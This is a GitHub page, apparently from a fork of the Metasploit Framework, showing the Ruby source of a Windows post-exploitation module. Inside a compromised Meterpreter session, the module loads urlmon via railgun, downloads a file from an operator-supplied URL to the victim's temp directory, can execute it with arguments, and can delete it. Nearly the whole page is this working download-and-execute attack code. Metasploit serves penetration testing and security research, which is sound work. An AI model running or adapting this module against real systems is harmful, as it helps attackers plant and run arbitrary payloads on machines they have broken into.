forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathdownload_exec.rb
140 lines (116 loc) · 4.01 KB
/
download_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/common'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Common
def initialize(info={})
super(update_info(info,
'Name' => "Windows Manage Download and/or Execute",
'Description' => %q{
This module will download a file by importing urlmon via railgun.
The user may also choose to execute the file with arguments via exec_string.
},
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => ['RageLtMan']
))
register_options(
[
OptString.new('URL', [true, 'Full URL of file to download' ]),
OptString.new('DOWNLOAD_PATH', [false, 'Full path for downloaded file' ]),
OptString.new('FILENAME', [false, 'Name for downloaded file' ]),
OptBool.new( 'OUTPUT', [true, 'Show execution output', true ]),
OptBool.new( 'EXECUTE', [true, 'Execute file after completion', false ]),
], self.class)
register_advanced_options(
[
OptString.new('EXEC_STRING', [false, 'Execution parameters when run from download directory' ]),
OptInt.new('EXEC_TIMEOUT', [true, 'Execution timeout', 60 ]),
OptBool.new( 'DELETE', [true, 'Delete file after execution', false ]),
], self.class)
end
# Check to see if our dll is loaded, load and configure if not
def add_railgun_urlmon
if client.railgun.dlls.find_all {|d| d.first == 'urlmon'}.empty?
session.railgun.add_dll('urlmon','urlmon')
session.railgun.add_function(
'urlmon', 'URLDownloadToFileW', 'DWORD',
[
['PBLOB', 'pCaller', 'in'],
['PWCHAR','szURL','in'],
['PWCHAR','szFileName','in'],
['DWORD','dwReserved','in'],
['PBLOB','lpfnCB','inout']
])
vprint_good("urlmon loaded and configured")
else
vprint_status("urlmon already loaded")
end
end
def run
# Make sure we meet the requirements before running the script, note no need to return
# unless error
return 0 if session.type != "meterpreter"
# get time
strtime = Time.now
# check/set vars
url = datastore["URL"]
filename = datastore["FILENAME"] || url.split('/').last
download_path = session.fs.file.expand_path(datastore["DOWNLOAD_PATH"])
if download_path.nil? or download_path.empty?
path = session.fs.file.expand_path("%TEMP%")
else
path = download_path
end
outpath = path + '\\' + filename
exec = datastore['EXECUTE']
exec_string = datastore['EXEC_STRING'] || ''
output = datastore['OUTPUT']
remove = datastore['DELETE']
# set up railgun
add_railgun_urlmon
# get our file
vprint_status("Downloading #{url} to #{outpath}")
client.railgun.urlmon.URLDownloadToFileW(nil,url,outpath,0,nil)
# check our results
begin
out = session.fs.file.stat(outpath)
print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ")
rescue
print_error("File not found. The download probably failed")
return
end
# Execute file upon request
if exec
begin
cmd = "#{outpath} #{exec_string}"
# If we don't have the following gsub, we get this error in Windows:
# "Operation failed: The system cannot find the file specified"
cmd = cmd.gsub(/\\/, '\\\\\\').gsub(/\s/, '\ ')
print_status("Executing file: #{cmd}")
res = cmd_exec(cmd, nil, datastore['EXEC_TIMEOUT'])
print_good(res) if output and not res.empty?
rescue ::Exception => e
print_error("Unable to execute: #{e.message}")
end
end
# remove file if needed
if remove
begin
print_status("Deleting #{outpath}")
session.fs.file.rm(outpath)
rescue ::Exception => e
print_error("Unable to remove file: #{e.message}")
end
end
end
end